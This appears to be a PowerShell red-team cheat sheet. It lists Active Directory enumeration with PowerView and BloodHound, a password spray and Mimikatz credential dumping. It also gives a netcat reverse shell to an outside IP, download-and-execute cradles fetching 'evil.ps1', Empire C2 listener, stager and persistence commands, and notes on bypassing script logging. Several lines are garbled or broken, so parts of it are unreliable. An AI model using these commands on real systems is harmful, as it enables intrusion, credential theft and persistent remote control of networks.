$a = 1..5
$c = 'a','b','c'
(System.Object[])
[int32[]]$d = 1,2,3,4
-like 'powersh*'
Get-Cmdlet * Get-Command Get-Alias
Get-WMIObject –ComputerName remotehost –query "Select * from Win32_Service Where Name=‘LanManServer'"" | Format-Table
Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose
Import-Module -Name .\MSOLSpray.ps1;
Invoke-MSOLSpray -Userlist ./users.txt -Password "Spring2020"
% AppData Roaming Microsoft Windows PowerShell PSReadLine ConsoleHost_history.txt
Get-ScheduledTask | %{"$($_.TaskName) : $($_.Actions.Execute) $($_.Actions.Arguments)"}
Set-ScheduledTask MYTASK -Action $(New-ScheduledTaskAction -Action "C:\path\file.exe")
Get-CimInstance -Query "SELECT * from Win32_Process WHERE name LIKE 'P%'"
Get-WmiObject -Namespace root\CIMv2 -list
Get-WmiObject -Query "SELECT * FROM win32_service WHERE state='running'"
Get-WmiObject -Query "SELECT * FROM win32_service WHERE name LIKE '[tT]%'"
gwmi win32_process -Filter "name LIKE ‘_owershell%'"
Get-WMIObject –ComputerName remotehost –query "Select * from Win32_Service Where Name='LanManServer'" | Format-Table
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile>
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
Get-NetUser <user>
Get-NetGroup <group>
Get-NetComputer -FullData
Get-NetComputer -Ping
Get-NetGroup -Username <user>
Get-NetGroupMember <group> -Domain <DomainName>
Find-DomainShare (-CheckShareAccess)
Get-NetGPO
Get-NetGPO -ComputerName cpu.local
Get-NetOU
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\Path\to\share"
Get-NetDomainTrust
Get-NetForestDomain
Invoke-EnumerateLocalAdmin -Verbose
Invoke-UserHunter -GroupName "RDPUsers" (-Stealth)
New-Item File.txt | Get-Acl | Set-ACl foobar.ps1
Get-NetGroupMember -GroupName <group> -Recurse
Get-NetUser -UserName <user> -ADSpath "GC: //domain.com"
Get-NetGroup -AdminCount | Get-NetGroupMember -Recurse | ?{$_.MemberName -like '*$'}
Get-NetGroupMember -GroupName "Domain Admins" -FullData | %{ $a=$_.displayname.split(" ")[0..1] -join " "; Get-NetUser -Filter "(displayname=$a)"} | Select-Object -Property displayname,samaccountname
Get-UserProperty -Properties pwdlastset
Get-NetLoggedOn -ComputerName <ComputerName>
powershell.exe -NoExit -Command 'C:/temp/temp2/nc.exe -v 192.168.99.21 4444 -e powershell'
Invoke-Expression
powershell -Command "$ip='http://A.B.C.D:22/launcher.ps1; IEX (New-Object Net.webclient).DownloadString($ip)"
1..22 | % {"10.2.3.$($): $(Test-Connection -count 1 -comp 10.2.3.$($) -quiet)"}
Install-ServiceBinary -ServiceName 'VulnSVC'
Invoke-Mimikatz -DumpCreds -ComputerName remotehost
Invoke-Mimikatz -Command '"privilege::debug"'
listeners; uselistener http; set Host a.b.c.d:8080; execute;
listeners; usestager multi/launcher; set Listener http; set OutFile /opt/agent.ps1; generate
agents
interact AGENT1
rename AGENTNEW
usemodule persistence/userland/schtasks; set Listener http; set IdleTime 2; set Agent autorun; run
agents; interact AGENT1; scirptimport /opt/Do-Thing.ps1; scriptcmd Do-Thing
powershell -noP -sta -w1 -enc <base64-encoded-payload>
Logging feature that captures PS scripts in readable form. Empire may bypass by unhooking it via "cachedGroupPolicySettings" variable manipulation. It may also nullify the "suspicious strings" array.
Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -MaxEvents 5
-Get-WinEvent -FilterHashTable @{logname='Microsoft-Windows-Sysmon/Operational'; Id=10}
Get-ChildItem Env:
Clear-Variable -Name foo
(gci env:PATH).value.replace(";","`n")
1..255
(Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\Lsa) | Get-ItemProperty
. .\Add-SSP
Get-ChildItem C:\Users\user -Recurse
Get-ChildItem . -Recurse -ErrorAction Silentlycontinue | Select-String -Pattern "password"
[appdomain]::currentdomain.getassemblies() | so -Property fullname | ft fullname
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
[System.Environment]::SetEnvironmentVariable($varName, $varValue, [System.EnvironmentVariableTarget]::Machine)
[System.Net.Dns]::Resolve('foo.com')
Get-Item -Path C:\path\to\foo.txt -Stream Get-Item -Path C:\path\to\foo.txt -Stream | ?{$.Stream -ne ':$DATA'} | %{$.Stream}
Get-Item -Path C:\path\to\foo.txt -Stream myhiddenstream
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$User32 = @"
using System;
using System.Runtime.InteropServices;
public class User32{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
}
"@
Add-Type $User32
[User32]::MessageBox(0,"This is an alert", "MyBox", 0)
Get-ExecutionPolicy -List
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process powershell.exe -ExecutionPolicy bypass
(New Object Namespace.Class).Method()
IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.206:6666/evil.ps1') IEX ( iwr ''http://192.168.56.206:6666/evil.ps1")
Get-ItemProperty -Path Registry::HKEY_LOCALMACHINE\SYSTEM\CurrentControlSet\Services* | Where-Object {($.ObjectName -notlike 'NT Authority*') -and ($.ObjectName -ne $null) -and ($.ObjectName -ne "LocalSystem")}